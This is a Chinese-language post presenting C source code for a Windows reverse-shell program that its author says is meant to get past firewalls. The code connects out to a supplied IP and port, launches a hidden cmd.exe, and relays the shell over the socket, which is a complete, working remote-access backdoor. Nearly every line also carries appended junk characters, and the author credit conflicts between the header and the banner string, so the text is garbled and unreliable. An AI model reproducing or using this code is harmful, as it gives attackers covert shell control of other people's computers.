这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J/P@m_Yx
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Rebound port in Windows NT J'Mgj$T $
By wind,2006/7 RT+30Q?
===============================*/ $P}]|/Yb
#include BQfAen]
#include /Geks/
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#pragma comment(lib,"wsock32.lib") X=c
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void OutputShell(); Y|N vBr
SOCKET sClient; fOjt` ~ToI
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kKk |@
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void main(int argc,char **argv) 'hHX"\|RA
{ Vi-!E
WSADATA stWsaData; !vo '8r?&
int nRet; ZtK%b+MBP
SOCKADDR_IN stSaiClient,stSaiServer; U@t?jTMBkO
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if(argc != 3) SIBIh- L
{ <IkD=X
printf("Useage:\n\rRebound DestIP DestPort\n"); .$s|T
return; 0~L8yMM
} %<*pM@
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pv$"DEXA2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mbG^fy'
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stSaiClient.sin_family = AF_INET; d.(]V2X.J
stSaiClient.sin_port = htons(0); >U
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \7w85$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UU~;B
{ XK9*,WA9r
printf("Bind Socket Failed!\n"); ,?N_67
return; $A0]v!P~i-
} ^WYG?/{4
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stSaiServer.sin_family = AF_INET; T`0gtSS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -#z'A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WD`{kqc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) szs3x-g
{ I8wVvs;k
printf("Connect Error!"); Q2WrB+/
return; @9P9U`ZP
} k 5kX
OutputShell(); y/*Tvb #TJ
} 3T^dgWXEG
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void OutputShell() pY5HW2TsY|
{ @MH]s [{o\
char szBuff[1024]; l]=$<
SECURITY_ATTRIBUTES stSecurityAttributes; D_kzR
OSVERSIONINFO stOsversionInfo; 7027@M?A?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; W
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char *szShell; tdK^X1
PROCESS_INFORMATION stProcessInformation; e[o
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unsigned long lBytesRead; xJ5!`#=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9 9BK/>R
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &Y2P! \\2
stSecurityAttributes.lpSecurityDescriptor = 0; ai9,4
stSecurityAttributes.bInheritHandle = TRUE; vK~KeZ\,p=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %+J*oFwQu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y}z?I%zL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !Hj)S](F
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [)c|oh%
stStartupInfo.wShowWindow = SW_HIDE; ;itg>\p3
stStartupInfo.hStdInput = hReadPipe; nL~
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a$&6a
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GetVersionEx(&stOsversionInfo); Lxrn#Z eM
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switch(stOsversionInfo.dwPlatformId) "b7C0NE
{ 1"PE@!]
case 1: iP_Xr~w
szShell = "command.com"; ~[6|VpGc:
break; >xgd<
default: )S?}huX
szShell = "cmd.exe"; g+*[CKO{
break; F\72^,0
} Jx?>1q=M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FQl|<l6
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send(sClient,szMsg,77,0); Okc*)crw
while(1) &|] ^ u/
{ O,#[m:Ejb
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A[a+,TN{
if(lBytesRead) \(L^ /]}G)
{ 1^dWmxUZH
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EV$n>.
send(sClient,szBuff,lBytesRead,0); Wno5B/V
} A>yIH)b
else rfpxE>_|G
{ gp2)35
lBytesRead=recv(sClient,szBuff,1024,0); (0f^Hh wF
if(lBytesRead<=0) break; E~^'w.1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s6uAF(4,
} "<#:\6aym
} HskN(Ho
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return; #w6CL
}